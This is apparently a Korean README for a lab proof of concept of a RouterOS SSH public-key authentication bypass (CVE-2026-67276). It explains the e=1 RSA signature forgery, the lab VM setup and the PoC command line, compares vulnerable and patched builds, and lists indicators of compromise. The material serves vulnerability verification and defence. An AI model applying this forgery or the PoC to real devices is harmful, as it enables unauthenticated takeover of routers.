
CVE-2026-67276 RouterOS SSH 공개 키 인증 우회 랩 PoC
랩 전용입니다. 소유한 RouterOS 인스턴스에 대해서만 실행하십시오. 소유하지 않은 장치를 공격하는 것은 범죄입니다 (CFAA, 폴란드 형법 제267조, 각국 유사 법률).
CERT PL(2026-09-05)은 6개의 RouterOS 취약점을 공개했으며, 이는 야생에서 "MikroTrick" 체인(SSH가 인터넷에 노출된 경우 비인증 전체 장치 탈취)으로 적극적으로 악용되고 있습니다. MikroTik은 2026-09-03에 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21에서 수정했습니다.
| CVE | 유형 | 핵심 결함 |
|---|
| 2026-67276 | CWE-347 (본 PoC) | SSH userauth 키 매칭 검사는 (키 유형, 모듈러스)를 확인하지만 지수를 생략합니다. 서명 검증은 클라이언트가 제공한 키를 사용하므로 e=1 위조 가능 |
| 2026-86060 | CWE-88 | 금지 문자(-2가 공격 로그에서 확인됨)로 시작하는 사용자 이름을 통한 인자 주입 ⇒ 정책 마스크 변경 ⇒ 권한 상승 |
| 2026-67279 | CWE-841 | SSH가 완료되지 않은 userauth 상태에서 클라이언트 요청 rekey 후 연결 프로토콜에 진입 ⇒ 파일 네임스페이스에서 비인증 exec |
| 2026-67277 | CWE-306 | bandwidth-test 사전 인증 상태 + 초기화되지 않은 버퍼 노출 + 크기 언더플로 ⇒ 커널 메모리 누수 / 재시작 |
| 2026-67278 | CWE-347 | X.509가 잘못된 RSA/PKCS#1v1.5 서명을 수용함. e=3 신뢰 앵커 ⇒ 신뢰된 중간자 위조 |
| 2026-67281 | CWE-824 | WebFig /jsproxy의 오래된 초기화되지 않은 주체 포인터 + 경로 이스케이프 ⇒ 루트 파일 읽기 |
취약 범위(6개 모두): [7.24, 7.24.2), [7.0.0, 7.23.4), [6.0.0, 6.49.21).
{ssh-rsa, e=1, n=피해자}를 제시하면 sig^1 mod n == sig가 되므로, 유효한 "서명"은 단순히 EMSA-PKCS1-v1_5(hash, authdata)입니다 — 피해자의 공개 모듈러스를 아는 사람이라면 누구나 계산할 수 있습니다. 개인 키는 필요 없습니다.전제 조건(공개 자료의 최소 요건): 대상 사용자 이름 + 해당 사용자의 인증된 RSA 공개 모듈러스.
n (유출/캡처된 .pub, 프로비저닝 기록 또는 --modulus-hex에서 획득). 이것이 유일한 비밀에 가까운 입력이며, 개인 키는 절대 필요하지 않습니다.ForgeKey 훅 — 기본 OpenSSH는 불가).ssh-rsa, 7.x에서는 rsa-sha2-256도 가능).forge_67276.py — 기본 요소: OpenSSH 공개키 파싱, RFC 8017 EMSA 인코더, 위조 블롭/서명 빌더, 참조 RFC 8017 검증기.selftest.py — 라우터 없이 로컬 증명: 인코더가 OpenSSL과 바이트 단위로 동일(실제 서명 역전을 통해), 위조 서명이 e=1에서 검증되고 65537에서는 검증되지 않음, 전체 RFC 4252 §7 와이어 형태 시뮬레이션. 15개 검사 모두 PASS.poc_67276.py — 우회를 수행하는 paramiko 클라이언트(연결별 알고리즘 고정, --lab-i-own-this-target 필수).console_setup.py — qemu 시리얼 텔넷을 통한 1회성 CHR 준비(10.0.2.2에서 피해자 키 가져오기, admin용으로 가져오기, ssh 활성화).sanity_real_key.py — 대조군: 일반 공개키 인증이 먼저 성공해야 함.victim_rsa / victim.pub — 생성된 일회용 2048비트 "피해자" 키페어, Git에서 의도적으로 제외됨.python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa
/root/mikrotrick-lab/, 호스트 브리지 br0
(192.168.100.1/24)에 tap0-tap3 연결, br0에서 MAC별 임대가 있는 dnsmasq.| VM | 이미지 | 게스트 IP | MAC | Mac 측 터널 |
|---|---|---|---|---|
| chr-6.49.20 | 취약한 6.x | 192.168.100.11 | 52:54:00:aa:00:11 | 127.0.0.1:2222 |
| chr-6.49.21 | 패치된 6.x | 192.168.100.12 | 52:54:00:aa:00:12 | 127.0.0.1:2223 |
| chr-7.23.3 | 취약한 7.x | 192.168.100.13 | 52:54:00:aa:00:13 | 127.0.0.1:2224 |
| chr-7.23.4 | 패치된 7.x | 192.168.100.14 | 52:54:00:aa:00:14 | 127.0.0.1:2225 |
labpass123, admin용으로 가져온 피해자 키. 최초 로그인 강제 비밀번호 변경은
SSH(bootstrap_password.py가 대화를 읽음) 또는 QEMU 모니터 sendkey
(mon_type.py)로 처리했습니다 — CHR의 시리얼 콘솔은 기본적으로 비활성화되어 있고,
VGA 콘솔은 모니터 screendump로만 읽을 수 있습니다.ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 [email protected]재실행 (예: VM3):
qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
-drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
-netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
-device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
-display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &
./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin # 기준선
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
--username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
--exp-enc aligned --exec '/system resource print' --lab-i-own-this-target
| 대상 | 실제 개인 키 (기준선) | 위조 e=1 키 (PoC) |
|---|---|---|
| 7.23.3 | 인증 OK | 인증 OK + /system resource print 실행 — CVE 확인됨 |
| 7.23.4 (패치됨) | 인증 OK | 거부됨 |
| 6.49.20 | 인증 OK | 거부됨 (뉘앙스 참조) |
| 6.49.21 (패치됨) | 기준선 무효 | 해석 불가, 게스트가 SSH none 인증 수용 |
7.x 쌍의 경우, 실제 키 기준선은 두 빌드 모두에서 성공하고, SSH none
인증은 거부되며, 잘못된 모듈러스 위조는 7.23.3에서 거부되고,
올바른 모듈러스 위조는 7.23.3에서만 성공합니다. 이는 유효한
취약-대-패치 비교입니다.
6.49.21 게스트는 독립 재검증 중 문서화된 대로 프로비저닝되지 않았습니다:
admin은 만료된 상태로 남아 있었고, /user ssh-keys print detail은
비어 있었으며, 자격 증명 없는 SSH none 요청이 명령을 실행했습니다.
따라서 관련 없는 실제 RSA 키와 잘못된 모듈러스의 e=1 키도 성공한 것처럼
보였습니다. 이 게스트를 패치된 대조군으로 사용하기 전에 재프로비저닝하고
none과 관련 없는 키가 거부되는지 확인하십시오.
버전 뉘앙스: 6.49.20에서 서버 측 매칭은 e=1 블롭을 거부합니다
(/log ssh,debug: can't find matching key for user: admin) — 공개된
지수 생략은 CERT의 포괄적 범위가 [6.0.0, 6.49.21)을 나열하지만 6.x의
매처에서 관찰할 수 없었습니다. 취약 확인: 7.23.3. 패치
확인: 7.23.4. 현재 6.49.21 랩 상태는 어느 결과도 증명하지 못합니다.
야생의 MikroTrick 활동도 7.x 장치를 대상으로 했습니다.
와이어 형식 발견 (RFC 8332): 블롭의 내부 유형 문자열은
rsa-sha2-256/512 서명 알고리즘에서도 ssh-rsa로 유지됩니다. 서명 알고리즘은
외부 알고리즘 필드에만 들어갑니다. 이를 무시하면 서버가 userauth 중간에
연결을 끊습니다(블롭 파싱 오류) — 6.x와 7.x 모두에서 관찰됨.
PoC의 ForgeKey가 이를 처리하며, --exp-enc aligned|canonical은
e=1 mpint 너비(1바이트 vs 3바이트)를 전환합니다. 7.23.3에서는 두 너비 모두
인증됩니다 — 매처가 지수를 파싱하고 실제로 그 값을 무시합니다. 6.49.20에서는
둘 다 인증되지 않습니다(can't find matching key) — 위의 버전 뉘앙스 참조.
서버 측 /system logging add topics=ssh,debug + /log print 패킷
헥스덤프가 이 모든 것을 드러냈습니다.
이 랩에서 사용한 소스 이미지 아카이브 SHA-256 값:
a954ab0002a83de5e4c02110f560d0bf622e7d21916088aaacda6baaba88cf4a chr-6.49.20.img.zip
6dcfb8674fa7964bf92ce849fbb0ba8147a5cf3d7a1ba595e24ce3e615569188 chr-6.49.21.img.zip
646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c chr-7.23.3.img.zip
0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d chr-7.23.4.img.zip
login failure for user -2 via ssh,
user <name> added by ssh:-2@<ip>; 알 수 없는 고권한 사용자 ops;
/system/device-mode/print "Flagged" 마커(침해를 나타내며,
부재는 아무것도 증명하지 않음). 관찰된 공격자 IP: 82.192.72.4, 103.102.31.18.